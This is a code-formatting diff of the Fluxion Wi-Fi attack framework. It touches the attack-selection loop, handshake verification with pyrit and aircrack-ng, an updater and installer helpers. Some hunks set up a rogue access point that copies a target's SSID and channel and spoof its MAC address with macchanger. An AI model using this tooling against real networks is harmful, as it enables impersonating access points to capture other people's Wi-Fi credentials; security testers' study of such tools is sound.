local identifier="`head -n 3 "attacks/$attack/language/$FLUXIONLanguage.sh" | grep -E "^# identifier: " | sed -E 's/# \w+: //'`"
if [ "$identifier" ]
then identifiers+=("$identifier")
local identifier="$(head -n 3 "attacks/$attack/language/$FLUXIONLanguage.sh" | grep -E "^# identifier: " | sed -E 's/# \w+: //')"
if [ "$identifier" ]; then identifiers+=("$identifier")
else identifiers+=("$attack")
fi
done
@ -956,7 +990,7 @@ function fluxion_run_attack() {
start_attack
local choices=("$FLUXIONSelectAnotherAttackOption" "$FLUXIONGeneralExitOption")
io_query_choice "`io_dynamic_output $FLUXIONAttackInProgressNotice`" choices[@]
io_query_choice "$(io_dynamic_output $FLUXIONAttackInProgressNotice)" choices[@]
echo
@ -976,11 +1010,16 @@ fluxion_set_resolution
fluxion_set_language
while true; do
fluxion_set_interface; if [ $? -ne 0 ]; then continue; fi
fluxion_set_scanner; if [ $? -ne 0 ]; then continue; fi
fluxion_set_target_ap; if [ $? -ne 0 ]; then continue; fi
fluxion_set_attack; if [ $? -ne 0 ]; then continue; fi
fluxion_run_attack; if [ $? -ne 0 ]; then continue; fi
fluxion_set_interface
if [ $? -ne 0 ]; then continue; fi
fluxion_set_scanner
if [ $? -ne 0 ]; then continue; fi
fluxion_set_target_ap
if [ $? -ne 0 ]; then continue; fi
fluxion_set_attack
if [ $? -ne 0 ]; then continue; fi
fluxion_run_attack
if [ $? -ne 0 ]; then continue; fi
done
# FLUXSCRIPT END

View File

@ -21,7 +21,7 @@ function array_contains() {
# funct params: $1 = "array[@]" $2 = "text"
# indirect exp: ${!1} => ${array[@]} (replaced!)
for __array_contains__item in "${!1}"; do
[[ "$__array_contains__item" == "$2" ]] && return 0;
[[ "$__array_contains__item" == "$2" ]] && return 0
done
return 1 # Not found

View File

@ -37,16 +37,15 @@ function format_list_specifiers() {
function format_calculate_dynamics_count() {
local __format_calculate_dynamics_count__specifiers=("${!2}")
if [ ! "$2" ]
then format_list_specifiers "$1"
if [ ! "$2" ]; then
format_list_specifiers "$1"
__format_calculate_dynamics_count__specifiers=("${FormatListSpecifiers[@]}")
fi
FormatCalculateDynamicsCount=0
local __format_calculate_dynamics_count__specifier
for __format_calculate_dynamics_count__specifier in "${__format_calculate_dynamics_count__specifiers[@]}"; do
if echo "$__format_calculate_dynamics_count__specifier" | grep '\*' >/dev/null 2>&1
then ((FormatCalculateDynamicsCount++))
if echo "$__format_calculate_dynamics_count__specifier" | grep '\*' >/dev/null 2>&1; then ((FormatCalculateDynamicsCount++))
fi
done
}
@ -69,13 +68,13 @@ function format_calculate_statics_length() {
# Literals are all characters in format printed literally.
# Parameters: $1 - format [$2 - processed format [$3 - specifier array]]
function format_calculate_literals_length() {
local __format_calculate_literals_length__normalizedFormat="`echo "$2" | sed -r 's/%%|\*\*/X/g'`"
local __format_calculate_literals_length__normalizedFormat="$(echo "$2" | sed -r 's/%%|\*\*/X/g')"
local __format_calculate_literals_length__specifiers=("${!3}")
if [ ! "$2" ]; then
echo "format_calculate_literals_length missing \$2"
format_strip_invisibles "$1"
__format_calculate_literals_length__normalizedFormat="`echo "$FormatStripInvisibles" | sed -r 's/%%|\*\*/X/g'`"
__format_calculate_literals_length__normalizedFormat="$(echo "$FormatStripInvisibles" | sed -r 's/%%|\*\*/X/g')"
fi
if [ ! "$3" ]; then
@ -111,7 +110,7 @@ function format_calculate_length() {
__format_calculate_length__literalsLength=$FormatCalculateLiteralsLength
fi
FormatCalculateLength=$(( __format_calculate_length__staticsLength + __format_calculate_length__literalsLength ))
FormatCalculateLength=$((__format_calculate_length__staticsLength + __format_calculate_length__literalsLength))
}
# This function calculates total length of dynamics in format.
@ -126,7 +125,7 @@ function format_calculate_dynamics_length() {
__format_calculate_dynamics_length__formatLength=$FormatCalculateLength
fi
FormatCalculateDynamicsLength=$(( $(tput cols) - $__format_calculate_dynamics_length__formatLength ))
FormatCalculateDynamicsLength=$(($(tput cols) - $__format_calculate_dynamics_length__formatLength))
}
# This function calculates the size of individual dynamics in format.
@ -146,21 +145,18 @@ function format_calculate_autosize_length() {
fi
if [ ! "$3" ]; then
if [ "$2" ]
then format_list_specifiers "$1"
if [ "$2" ]; then format_list_specifiers "$1"
fi
format_calculate_dynamics_count X FormatListSpecifiers[@]
__format_calculate_autosize_length__dynamicsCount=$FormatCalculateDynamicsCount
fi
if [ $__format_calculate_autosize_length__dynamicsCount -ne 0 -a \
$__format_calculate_autosize_length__dynamicsLength -ge 0 ]
then FormatCalculateAutosizeLength=$(( __format_calculate_autosize_length__dynamicsLength / __format_calculate_autosize_length__dynamicsCount ))
$__format_calculate_autosize_length__dynamicsLength -ge 0 ]; then FormatCalculateAutosizeLength=$((__format_calculate_autosize_length__dynamicsLength / __format_calculate_autosize_length__dynamicsCount))
else FormatCalculateAutosizeLength=0
fi
}
# This function replaces dynamics' asterisks with their length, in format.
# Parameters: $1 - format [$2 - dynamics length [$3 - dynamics count]]
# Warning: Strings containing '\n' result in undefined behavior (not supported).
@ -193,5 +189,5 @@ function format_center_dynamic() {
format_calculate_dynamics_length X $FormatCalculateLength
format_apply_autosize "%*s%${FormatCalculateLength}s%*s" $FormatCalculateDynamicsLength 2
# Temporary, I'll find a better solution later (too tired).
FormatCenterDynamic=$(printf "`echo "$FormatApplyAutosize" | sed -r 's/%[0-9]+s/%s/2'`" "" "$1" "")
FormatCenterDynamic=$(printf "$(echo "$FormatApplyAutosize" | sed -r 's/%[0-9]+s/%s/2')" "" "$1" "")
}

View File

@ -14,13 +14,13 @@ function hash_check_handshake() {
local analysis
local hashData
echo "Verifier Parameters: $handshakeVerifier, path $handshakePath, SSID \"$handshakeAPSSID\", MAC $handshakeAPMAC" > $HashOutputDevice
echo "Verifier Parameters: $handshakeVerifier, path $handshakePath, SSID \"$handshakeAPSSID\", MAC $handshakeAPMAC" >$HashOutputDevice
case "$handshakeVerifier" in
"pyrit")
readarray analysis < <(pyrit -r "$handshakePath" analyze 2> $HashOutputDevice)
readarray analysis < <(pyrit -r "$handshakePath" analyze 2>$HashOutputDevice)
if [ "${#analysis[@]}" -eq 0 -o $? != 0 ]; then
echo "Error: pyrit seems to be broken!" > $HashOutputDevice
echo "Error: pyrit seems to be broken!" >$HashOutputDevice
return 1
fi
@ -30,17 +30,22 @@ function hash_check_handshake() {
local hashID=$(echo "$hashMeta" | awk -F'[ #:]' '{print $3}')
hashData=$(echo "${analysis[@]}" | awk "\$0~/#$hashID: HMAC_SHA[0-9]+_AES/{ print \$0 }")
else
echo "No valid hash meta was found for \"$handshakeAPSSID\"" > $HashOutputDevice
fi;;
echo "No valid hash meta was found for \"$handshakeAPSSID\"" >$HashOutputDevice
fi
;;
"aircrack-ng")
readarray analysis < <(aircrack-ng "$handshakePath" 2> $HashOutputDevice)
readarray analysis < <(aircrack-ng "$handshakePath" 2>$HashOutputDevice)
if [ "${#analysis[@]}" -eq 0 -o $? != 0 ]; then
echo "Error: aircrack-ng seems to be broken!" > $HashOutputDevice
echo "Error: aircrack-ng seems to be broken!" >$HashOutputDevice
return 1
fi
hashData=$(echo "${analysis[@]}" | grep -E "${handshakeAPMAC^^}\s+" | grep -F "$handshakeAPSSID");;
*) echo "Invalid verifier, quitting!"; return 1;;
hashData=$(echo "${analysis[@]}" | grep -E "${handshakeAPMAC^^}\s+" | grep -F "$handshakeAPSSID")
;;
*)
echo "Invalid verifier, quitting!"
return 1
;;
esac
if [ -z "$hashData" ]; then
@ -50,8 +55,8 @@ function hash_check_handshake() {
local hashResult
case "$handshakeVerifier" in
"pyrit") hashResult=$(echo "$hashData" | grep "good");;
"aircrack-ng") hashResult=$(echo "$hashData" | grep "(1 handshake)");;
"pyrit") hashResult=$(echo "$hashData" | grep "good") ;;
"aircrack-ng") hashResult=$(echo "$hashData" | grep "(1 handshake)") ;;
esac
if [ -z "$hashResult" ]; then

View File

@ -54,9 +54,7 @@ function io_output_format_fields() {
# Load locally by indirect expansion, ${! ... },
# and mangle the variable number argument arrays.
local __io_output_format_fields__i
for ((__io_output_format_fields__i = 3; \
__io_output_format_fields__i <= __io_output_format_fields__argument_count; \
__io_output_format_fields__i++)); do
for ((__io_output_format_fields__i = 3; __io_output_format_fields__i <= __io_output_format_fields__argument_count; __io_output_format_fields__i++)); do
eval "local __io_output_format_fields__field$__io_output_format_fields__i=(\"\${!$__io_output_format_fields__i}\")"
done
@ -64,11 +62,9 @@ function io_output_format_fields() {
# Notice at least the first array must be passed.
local __io_output_format_fields__record_count=${#__io_output_format_fields__field3[@]}
for ((__io_output_format_fields__i = 0; \
__io_output_format_fields__i < __io_output_format_fields__record_count; \
__io_output_format_fields__i++)); do
local __io_output_format_fields__values="\"\${__io_output_format_fields__field"$( \
seq -s "[$__io_output_format_fields__i]}\" \"\${__io_output_format_fields__field" 3 $__io_output_format_fields__argument_count \
for ((__io_output_format_fields__i = 0; __io_output_format_fields__i < __io_output_format_fields__record_count; __io_output_format_fields__i++)); do
local __io_output_format_fields__values="\"\${__io_output_format_fields__field"$(
seq -s "[$__io_output_format_fields__i]}\" \"\${__io_output_format_fields__field" 3 $__io_output_format_fields__argument_count
)"[$__io_output_format_fields__i]}\""
eval "printf \"$2\" $__io_output_format_fields__values > $1"
done
@ -88,9 +84,7 @@ function io_query_format_fields() {
# Load locally by indirect expansion, ${! ... },
# and mangle the variable number argument arrays.
local __io_query_format_fields__i
for ((__io_query_format_fields__i = 3; \
__io_query_format_fields__i <= __io_query_format_fields__argument_count; \
__io_query_format_fields__i++)); do
for ((__io_query_format_fields__i = 3; __io_query_format_fields__i <= __io_query_format_fields__argument_count; __io_query_format_fields__i++)); do
eval "local __io_query_format_fields__f$__io_query_format_fields__i=(\"\${!$__io_query_format_fields__i}\")"
done
@ -98,7 +92,7 @@ function io_query_format_fields() {
local __io_query_format_fields__indexes=($(seq $__io_query_format_fields__record_count))
if [ ! -z "$1" ]; then
if [ "`type -t $(echo -e "$IOUtilsHeader" | grep -vE '\s')`" = "function" ]; then $IOUtilsHeader;
if [ "$(type -t $(echo -e "$IOUtilsHeader" | grep -vE '\s'))" = "function" ]; then $IOUtilsHeader
else echo -e "$IOUtilsHeader"; fi
echo -e "$__io_query_format_fields__query"
@ -112,9 +106,7 @@ function io_query_format_fields() {
io_input_choice __io_query_format_fields__indexes[@]
IOQueryFormatFields=()
for ((__io_query_format_fields__i = 3; \
__io_query_format_fields__i <= __io_query_format_fields__argument_count; \
__io_query_format_fields__i++)); do
for ((__io_query_format_fields__i = 3; __io_query_format_fields__i <= __io_query_format_fields__argument_count; __io_query_format_fields__i++)); do
eval "IOQueryFormatFields[${#IOQueryFormatFields[@]}]=\${__io_query_format_fields__f$__io_query_format_fields__i[IOInputChoice - 1]}"
done
}
@ -140,10 +132,10 @@ function io_query_file() {
# List a line per line and redirect output.
# readarray __io_query_file__options < $2
mapfile __io_query_file__options < $2
mapfile __io_query_file__options <$2
# Strip newline characters from array elements
__io_query_file__options=("${__io_query_file__options[@]/$'\n'}")
__io_query_file__options=("${__io_query_file__options[@]/$'\n'/}")
io_query_choice "$1" __io_query_file__options[@]

View File

@ -7,26 +7,24 @@
# This is all thanks for the airmon-ng authors, thanks guys.
InterfaceUtilsOutputDevice="/dev/stdout"
if [ -d /sys/bus/usb ] # && hash lsusb
if [ -d /sys/bus/usb ] # && hash lsusb;
then InterfaceUSBBus=1
fi
if [ -d /sys/bus/pci ] || [ -d /sys/bus/pci_express ] || [ -d /proc/bus/pci ] # && hash lspci
if [ -d /sys/bus/pci ] || [ -d /sys/bus/pci_express ] || [ -d /proc/bus/pci ] # && hash lspci;
then InterfacePCIBus=1
fi
# Checks if the interface belongs to a physical device.
function interface_is_real() {
if [ -d /sys/class/net/$1/device ]
then return 0
if [ -d /sys/class/net/$1/device ]; then return 0
else return 1
fi
}
# Checks if the interface belongs to a wireless device.
function interface_is_wireless() {
if grep -qs "DEVTYPE=wlan" /sys/class/net/$1/uevent
then return 0
if grep -qs "DEVTYPE=wlan" /sys/class/net/$1/uevent; then return 0
else return 1
fi
}
@ -44,8 +42,7 @@ function interface_list_real() {
interface_list_all
local __interface_list_real__candidate
for __interface_list_real__candidate in "${InterfaceListAll[@]}"; do
if interface_is_real $__interface_list_real__candidate
then InterfaceListReal+=("$__interface_list_real__candidate")
if interface_is_real $__interface_list_real__candidate; then InterfaceListReal+=("$__interface_list_real__candidate")
fi
done
}
@ -56,8 +53,7 @@ function interface_list_wireless() {
interface_list_all
local __interface_list_wireless__candidate
for __interface_list_wireless__candidate in "${InterfaceListAll[@]}"; do
if interface_is_wireless $__interface_list_wireless__candidate
then InterfaceListWireless+=("$__interface_list_wireless__candidate")
if interface_is_wireless $__interface_list_wireless__candidate; then InterfaceListWireless+=("$__interface_list_wireless__candidate")
fi
done
}
@ -74,11 +70,9 @@ function interface_physical() {
local -r interface_physical_path="/sys/class/net/$1/phy80211"
if [ -d "$interface_physical_path" ]; then
if [ -r "$interface_physical_path/name" ]
then InterfacePhysical="`cat "$interface_physical_path/name"`"
if [ -r "$interface_physical_path/name" ]; then InterfacePhysical="$(cat "$interface_physical_path/name")"
fi
if [ ! "${InterfacePhysical// }" ]
then InterfacePhysical="`ls -l "$interface_physical_path" | sed 's/^.*\/\([a-zA-Z0-9_-]*\)$/\1/'`"
if [ ! "${InterfacePhysical// /}" ]; then InterfacePhysical="$(ls -l "$interface_physical_path" | sed 's/^.*\/\([a-zA-Z0-9_-]*\)$/\1/')"
fi
fi
@ -91,16 +85,19 @@ function interface_hardware() {
local __interface_hardware__device="/sys/class/net/$1/device"
local __interface_hardware__hwinfo="$__interface_hardware__device/modalias"
InterfaceHardwareBus="`cut -d ":" -f 1 "$__interface_hardware__hwinfo" 2> $InterfaceUtilsOutputDevice`"
InterfaceHardwareBus="$(cut -d ":" -f 1 "$__interface_hardware__hwinfo" 2>$InterfaceUtilsOutputDevice)"
case "$InterfaceHardwareBus" in
"usb") # Wanted to replace the line below with awk, but i'll probably just add complexity & issues (mawk vs gawk).
InterfaceHardwareID="`cut -d ":" -f 2 $__interface_hardware__hwinfo | cut -b 1-10 | sed 's/^.//;s/p/:/'`";;
InterfaceHardwareID="$(cut -d ":" -f 2 $__interface_hardware__hwinfo | cut -b 1-10 | sed 's/^.//;s/p/:/')"
;;
"pci" | "pcmcia" | "sdio")
InterfaceHardwareID="`cat "$__interface_hardware__device/vendor" 2> $InterfaceUtilsOutputDevice`:`cat "$__interface_hardware__device/device" 2> $InterfaceUtilsOutputDevice`";;
InterfaceHardwareID="$(cat "$__interface_hardware__device/vendor" 2>$InterfaceUtilsOutputDevice):$(cat "$__interface_hardware__device/device" 2>$InterfaceUtilsOutputDevice)"
;;
default) # The following will only work for USB devices.
InterfaceHardwareID="`cat "$__interface_hardware__device/idVendor" 2> $InterfaceUtilsOutputDevice`:`cat "$__interface_hardware__device/idProduct" 2> $InterfaceUtilsOutputDevice`"
InterfaceHardwareBus="usb";; # This will be reset below if InterfaceHardwareID is invalid.
InterfaceHardwareID="$(cat "$__interface_hardware__device/idVendor" 2>$InterfaceUtilsOutputDevice):$(cat "$__interface_hardware__device/idProduct" 2>$InterfaceUtilsOutputDevice)"
InterfaceHardwareBus="usb"
;; # This will be reset below if InterfaceHardwareID is invalid.
esac
# Check for invalid InterfaceHardwareID (starts or ends with :) .. not a happy face, still won't quote it.
@ -122,17 +119,20 @@ function interface_chipset() {
case "$InterfaceHardwareBus" in
"usb")
if [ ! "$InterfaceUSBBus" ]; then return 3; fi
InterfaceChipset="`lsusb -d "$InterfaceHardwareID" | head -n1 - | cut -f3- -d ":" | sed 's/^....//;s/ Network Connection//g;s/ Wireless Adapter//g;s/^ //'`";;
InterfaceChipset="$(lsusb -d "$InterfaceHardwareID" | head -n1 - | cut -f3- -d ":" | sed 's/^....//;s/ Network Connection//g;s/ Wireless Adapter//g;s/^ //')"
;;
"pci" | "pcmcia")
if [ ! "$InterfacePCIBus" ]; then return 4; fi
InterfaceChipset="$(lspci -d $InterfaceHardwareID | cut -f3- -d ":" | sed 's/Wireless LAN Controller //g;s/ Network Connection//g;s/ Wireless Adapter//;s/^ //')";;
InterfaceChipset="$(lspci -d $InterfaceHardwareID | cut -f3- -d ":" | sed 's/Wireless LAN Controller //g;s/ Network Connection//g;s/ Wireless Adapter//;s/^ //')"
;;
"sdio")
if [[ "${InterfaceHardwareID,,}" = "0x02d0"* ]]
then InterfaceChipset=$(printf "Broadcom %d" ${InterfaceHardwareID:7})
if [[ "${InterfaceHardwareID,,}" == "0x02d0"* ]]; then InterfaceChipset=$(printf "Broadcom %d" ${InterfaceHardwareID:7})
else InterfaceChipset="Unknown chipset for SDIO device."
fi;;
fi
;;
default)
InterfaceChipset="Unknown device chipset & device bus."
;;
esac
}
@ -152,7 +152,7 @@ function interface_set_state() {
function interface_set_mode() {
if [ "${#@}" -ne 2 ]; then return 1; fi
if ! interface_set_state "$1" "down"; then return 2; fi
if ! iwconfig "$1" mode "$2" &> $InterfaceUtilsOutputDevice; then return 3; fi
if ! iwconfig "$1" mode "$2" &>$InterfaceUtilsOutputDevice; then return 3; fi
if ! interface_set_state "$1" "up"; then return 4; fi
}
@ -171,9 +171,12 @@ function interface_prompt() {
interface_state "$__interface_prompt__ifCandidate"
if [ "$InterfaceState" = "up" ]
then __interface_prompt__ifAvailableColor+=("$CPrp"); __interface_prompt__ifAvailableState+=("[-]")
else __interface_prompt__ifAvailableColor+=("$CClr"); __interface_prompt__ifAvailableState+=("[+]")
if [ "$InterfaceState" = "up" ]; then
__interface_prompt__ifAvailableColor+=("$CPrp")
__interface_prompt__ifAvailableState+=("[-]")
else
__interface_prompt__ifAvailableColor+=("$CClr")
__interface_prompt__ifAvailableState+=("[+]")
fi
done

View File

@ -14,13 +14,13 @@ SandboxOutputDevice="/dev/stdout"
function sandbox_remove_workfile() {
# Check we've got the environment variables ready.
if [[ -z "$SandboxWorkspacePath" || -z "$SandboxOutputDevice" ]]; then
echo "The workspace path, or the output device is missing." > $SandboxOutputDevice
echo "The workspace path, or the output device is missing." >$SandboxOutputDevice
return 1
fi
# Check we're actually deleting a workfile.
if [[ "$1" != $SandboxWorkspacePath* ]]; then
echo "Stopped an attempt to delete non-workfiles." > $SandboxOutputDevice
echo "Stopped an attempt to delete non-workfiles." >$SandboxOutputDevice
return 2
fi

View File

@ -13,14 +13,11 @@ VIAPAddress="$VIGWNetwork.2"
# APServiceConfigDirectory=$FLUXIONWorkspacePath
# ================================================================
#if [ "$APServiceVersion" ]; then return 0; fi
#readonly APServiceVersion="1.0"
function ap_stop() {
if [ "$APServicePID" ]
then kill $APServicePID &> $FLUXIONOutputDevice
if [ "$APServicePID" ]; then kill $APServicePID &>$FLUXIONOutputDevice
fi
APServicePID=""
@ -32,7 +29,7 @@ function ap_reset() {
function ap_route() {
ifconfig $VIAP $VIAPAddress netmask 255.255.255.0
sysctl net.ipv6.conf.at0.disable_ipv6=1 &> $FLUXIONOutputDevice
sysctl net.ipv6.conf.at0.disable_ipv6=1 &>$FLUXIONOutputDevice
}
function ap_prep() {
@ -49,8 +46,9 @@ function ap_start() {
local parentPID=$!
# Wait till airebase-ng has started and created the extra virtual interface.
while [ ! "$APServicePID" ]
do sleep 1; APServicePID=$(pgrep -P $parentPID)
while [ ! "$APServicePID" ]; do
sleep 1
APServicePID=$(pgrep -P $parentPID)
done
ap_route

View File

@ -13,14 +13,11 @@ VIAPAddress=$VIGWAddress
APServiceConfigDirectory=$FLUXIONWorkspacePath
# ================================================================
#if [ "$APServiceVersion" ]; then return 0; fi
#readonly APServiceVersion="1.0"
function ap_stop() {
if [ "$APServicePID" ]
then kill $APServicePID &> $FLUXIONOutputDevice
if [ "$APServicePID" ]; then kill $APServicePID &>$FLUXIONOutputDevice
fi
APServicePID=""
@ -33,7 +30,7 @@ function ap_reset() {
ifconfig $VIAP down
sleep 0.5
macchanger -p $VIAP &> $FLUXIONOutputDevice
macchanger -p $VIAP &>$FLUXIONOutputDevice
sleep 0.5
ifconfig $VIAP up
@ -41,7 +38,7 @@ function ap_reset() {
}
function ap_route() {
echo "APService: No custom routes for hostapd" > $FLUXIONOutputDevice
echo "APService: No custom routes for hostapd" >$FLUXIONOutputDevice
}
function ap_prep() {
@ -52,14 +49,13 @@ function ap_prep() {
interface=$VIAP
driver=nl80211
ssid=$APTargetSSID
channel=$APTargetChannel\
" > "$APServiceConfigDirectory/$APRogueMAC-hostapd.conf"
channel=$APTargetChannel" >"$APServiceConfigDirectory/$APRogueMAC-hostapd.conf"
# Spoof virtual interface MAC address.
ifconfig $VIAP down
sleep 0.5
macchanger --mac=$APRogueMAC $VIAP &> $FLUXIONOutputDevice
macchanger --mac=$APRogueMAC $VIAP &>$FLUXIONOutputDevice
sleep 0.5
ifconfig $VIAP up
@ -73,8 +69,9 @@ function ap_start() {
local parentPID=$!
# Wait till hostapd has started and its virtual interface is ready.
while [ ! "$APServicePID" ]
do sleep 1; APServicePID=$(pgrep -P $parentPID)
while [ ! "$APServicePID" ]; do
sleep 1
APServicePID=$(pgrep -P $parentPID)
done
ap_route

View File

@ -17,7 +17,7 @@ function installer_utils_run_spinner() {
local spinstr="|/-\\"
tput civis
while [ "`ps a | awk '{print $1}' | grep $pid`" ]; do
while [ "$(ps a | awk '{print $1}' | grep $pid)" ]; do
local temp=${spinstr#?}
printf " [%c] " "$spinstr"
local spinstr=$temp${spinstr%"$temp"}
@ -37,17 +37,15 @@ function installer_utils_check_version() {
if [ ${#@} -ne 3 ]; then return 1; fi
# Attempt to retrieve versioning information from repository script.
local -r __installer_utils_check_version__info=("`timeout -s SIGTERM 20 curl "$1" 2> /dev/null`")
local -r __installer_utils_check_version__info=("$(timeout -s SIGTERM 20 curl "$1" 2>/dev/null)")
local -r __installer_utils_check_version__onlineVersion=$(echo "${__installer_utils_check_version__info[@]}" | egrep "$2" | egrep -o "[0-9]+")
local -r __installer_utils_check_version__onlineRevision=$(echo "${__installer_utils_check_version__info[@]}" | egrep "$3" | egrep -o "[0-9]+")
if [ "$__installer_utils_check_version__onlineVersion" ] && [ "$__installer_utils_check_version__onlineRevision" ]
then echo -e "$__installer_utils_check_version__onlineVersion\n$__installer_utils_check_version__onlineRevision" > "$InstallerUtilsWorkspacePath/latest_version"
if [ "$__installer_utils_check_version__onlineVersion" ] && [ "$__installer_utils_check_version__onlineRevision" ]; then echo -e "$__installer_utils_check_version__onlineVersion\n$__installer_utils_check_version__onlineRevision" >"$InstallerUtilsWorkspacePath/latest_version"
fi
}
# Pamaters:
# $1 source - Online Info File (text)
# $2 version regex - Online version (regex)
@ -71,7 +69,7 @@ function installer_utils_check_update() {
if [ -f "$InstallerUtilsWorkspacePath/latest_version" -a \
-s "$InstallerUtilsWorkspacePath/latest_version" ]; then
local __installer_utils_check_update__vInfo
mapfile -tn 2 __installer_utils_check_update__vInfo < "$InstallerUtilsWorkspacePath/latest_version"
mapfile -tn 2 __installer_utils_check_update__vInfo <"$InstallerUtilsWorkspacePath/latest_version"
sandbox_remove_workfile "$InstallerUtilsWorkspacePath/latest_version"
@ -112,52 +110,55 @@ function installer_utils_run_update() {
# If the user doesn't want to upgrade, stop this procedure.
if [ "$__installer_utils_run_update__option" != "Y" -a \
"$__installer_utils_run_update__option" != "y" ]
then return 1
"$__installer_utils_run_update__option" != "y" ]; then return 1
fi
local __installer_utils_run_update__backupFile="$__installer_utils_run_update__backup-`date +%F_%T`"
local __installer_utils_run_update__backupPath="`dirname $__installer_utils_run_update__output`/$__installer_utils_run_update__backupFile.7z"
local __installer_utils_run_update__backupFile="$__installer_utils_run_update__backup-$(date +%F_%T)"
local __installer_utils_run_update__backupPath="$(dirname $__installer_utils_run_update__output)/$__installer_utils_run_update__backupFile.7z"
# If a file with the backup name already exists, abort.
if [ -f "$__installer_utils_run_update__backupPath" ]
then return 2
if [ -f "$__installer_utils_run_update__backupPath" ]; then return 2
fi
format_center_literals "${CClr}[ ~ Creating Backup ~ ]$CClr"; echo
format_center_literals "${CClr}[ ~ Creating Backup ~ ]$CClr"
echo
# This could use a progress indicator, but I'm a bit tired.
7zr a "$__installer_utils_run_update__backupPath" "$__installer_utils_run_update__output" &> $InstallerUtilsOutputDevice
7zr a "$__installer_utils_run_update__backupPath" "$__installer_utils_run_update__output" &>$InstallerUtilsOutputDevice
format_center_literals "${CClr}[ ~ Downloading Update ~ ]$CClr"; echo
format_center_literals "${CClr}[ ~ Downloading Update ~ ]$CClr"
echo
if ! curl -L "$__installer_utils_run_update__source" -o "$InstallerUtilsWorkspacePath/update.zip"; then
format_center_literals "${CRed}[ ~ Download Failed ~ ]$CClr"
sleep 3
return 3
fi
format_center_literals "${CClr}[ ~ Verifying Download ~ ]$CClr"; echo
format_center_literals "${CClr}[ ~ Verifying Download ~ ]$CClr"
echo
if ! unzip -t "$InstallerUtilsWorkspacePath/update.zip"; then
format_center_literals "${CRed}[ ~ Download Appears Corrupted ~ ]$CClr"
sleep 3
return 4
fi
format_center_literals "${CClr}[ ~ Extracting Files ~ ]$CClr"; echo
format_center_literals "${CClr}[ ~ Extracting Files ~ ]$CClr"
echo
mkdir "$InstallerUtilsWorkspacePath/update_contents"
unzip "$InstallerUtilsWorkspacePath/update.zip" -d "$InstallerUtilsWorkspacePath/update_contents"
if [ ! -d "$__installer_utils_run_update__output" ]; then
if ! mkdir -p "$__installer_utils_run_update__output"; then
format_center_literals "${CRed}[ ~ Failed To Create Destination Directory ~ ]$CClr"; echo
format_center_literals "${CRed}[ ~ Failed To Create Destination Directory ~ ]$CClr"
echo
fi
fi
format_center_literals "${CClr}[ ~ Moving Files ~ ]$CClr"; echo
format_center_literals "${CClr}[ ~ Moving Files ~ ]$CClr"
echo
mv "$InstallerUtilsWorkspacePath"/update_contents/* "$__installer_utils_run_update__output"
format_center_literals "${CGrn}[ ~ Update Completed ~ ]$CClr"; echo
format_center_literals "${CGrn}[ ~ Update Completed ~ ]$CClr"
echo
sleep 3
}
@ -171,7 +172,7 @@ function installer_utils_check_dependencies() {
local __installer_utils_run_dependencies__CLIToolInfo
for __installer_utils_run_dependencies__CLIToolInfo in "${__installer_utils_run_dependencies__CLIToolsInfo[@]}"; do
local __installer_utils_run_dependencies__CLITool=${__installer_utils_run_dependencies__CLIToolInfo/:*/}
local __installer_utils_run_dependencies__identifier="`printf "%-44s" "$__installer_utils_run_dependencies__CLITool"`"
local __installer_utils_run_dependencies__identifier="$(printf "%-44s" "$__installer_utils_run_dependencies__CLITool")"
local __installer_utils_run_dependencies__state=".....$CGrn OK.$CClr"
if ! hash "$__installer_utils_run_dependencies__CLITool" 2>/dev/null; then
@ -202,7 +203,8 @@ function installer_utils_run_dependencies() {
done
if [ ! "$PackageManagerCLT" ]; then
format_center_literals "${CRed}[ ~ No Suitable Package Manager Found ~ ]$CClr"; echo
format_center_literals "${CRed}[ ~ No Suitable Package Manager Found ~ ]$CClr"
echo
sleep 3
return 2
fi
@ -214,8 +216,7 @@ function installer_utils_run_dependencies() {
local __installer_utils_run_dependencies__packages=${__installer_utils_run_dependencies__dependencyInfo/*:/}
for __installer_utils_run_dependencies__package in ${__installer_utils_run_dependencies__packages//|/ }; do
clear
if $PackageManagerCLT $PackageManagerCLTInstallOptions $__installer_utils_run_dependencies__package
then break
if $PackageManagerCLT $PackageManagerCLTInstallOptions $__installer_utils_run_dependencies__package; then break
fi
done
done

View File

@ -10,24 +10,26 @@ if [ -f "/etc/debian_version" ]; then
PackageManagerLog="/tmp/lib_package_manager.log"
function unprep_package_manager() {
echo "`cat /etc/apt/sources.list | grep -v 'deb http://http.kali.org/kali kali-rolling main non-free contrib # Installed By FLUXION'`" > /etc/apt/sources.list
echo "$(cat /etc/apt/sources.list | grep -v 'deb http://http.kali.org/kali kali-rolling main non-free contrib # Installed By FLUXION')" >/etc/apt/sources.list
}
function prep_package_manager() {
if [ ! "`cat /etc/apt/sources.list | egrep 'deb http://http.kali.org/kali ((kali-rolling|main|contrib|non-free) )*'`" ]; then
if [ ! "$(cat /etc/apt/sources.list | egrep 'deb http://http.kali.org/kali ((kali-rolling|main|contrib|non-free) )*')" ]; then
echo "Adding missing sources to package manager, please wait."
echo "Adding keys.gnupg.net key, please wait."
if ! gpg --keyserver hkp://keys.gnupg.net --recv-key 7D8D0BF6 &> /dev/null; then
echo "ERROR: Failed to fetch or add the source key!"; return 1
if ! gpg --keyserver hkp://keys.gnupg.net --recv-key 7D8D0BF6 &>/dev/null; then
echo "ERROR: Failed to fetch or add the source key!"
return 1
fi
echo "Adding pgp.mit.edu key, please wait."
if ! apt-key adv --keyserver pgp.mit.edu --recv-keys ED444FF07D8D0BF60 &> /dev/null; then
echo "ERROR: Failed to fetch or add the source key!"; return 1
if ! apt-key adv --keyserver pgp.mit.edu --recv-keys ED444FF07D8D0BF60 &>/dev/null; then
echo "ERROR: Failed to fetch or add the source key!"
return 1
fi
echo "deb http://http.kali.org/kali kali-rolling main non-free contrib # Installed By FLUXION" >> /etc/apt/sources.list
echo "deb http://http.kali.org/kali kali-rolling main non-free contrib # Installed By FLUXION" >>/etc/apt/sources.list
fi
# Cleanup package manager

View File

@ -10,11 +10,11 @@ if [ -f "/etc/gentoo-release" ]; then
PackageManagerLog="/tmp/lib_package_manager.log"
function unprep_package_manager() {
echo "Nothing to unprepare." > $PackageManagerOutputDevice
echo "Nothing to unprepare." >$PackageManagerOutputDevice
}
function prep_package_manager() {
echo "Nothing to prepare." > $PackageManagerOutputDevice
echo "Nothing to prepare." >$PackageManagerOutputDevice
}
fi

View File

@ -4,9 +4,9 @@ if [ -f "/etc/arch-release" ]; then
#Last entry is the default package manager to use (pacman)
AurHelpers="pacaur yaourt pacman"
for AurHelper in $AurHelpers; do
if [ "`pacman -Qs $AurHelper`" ]; then
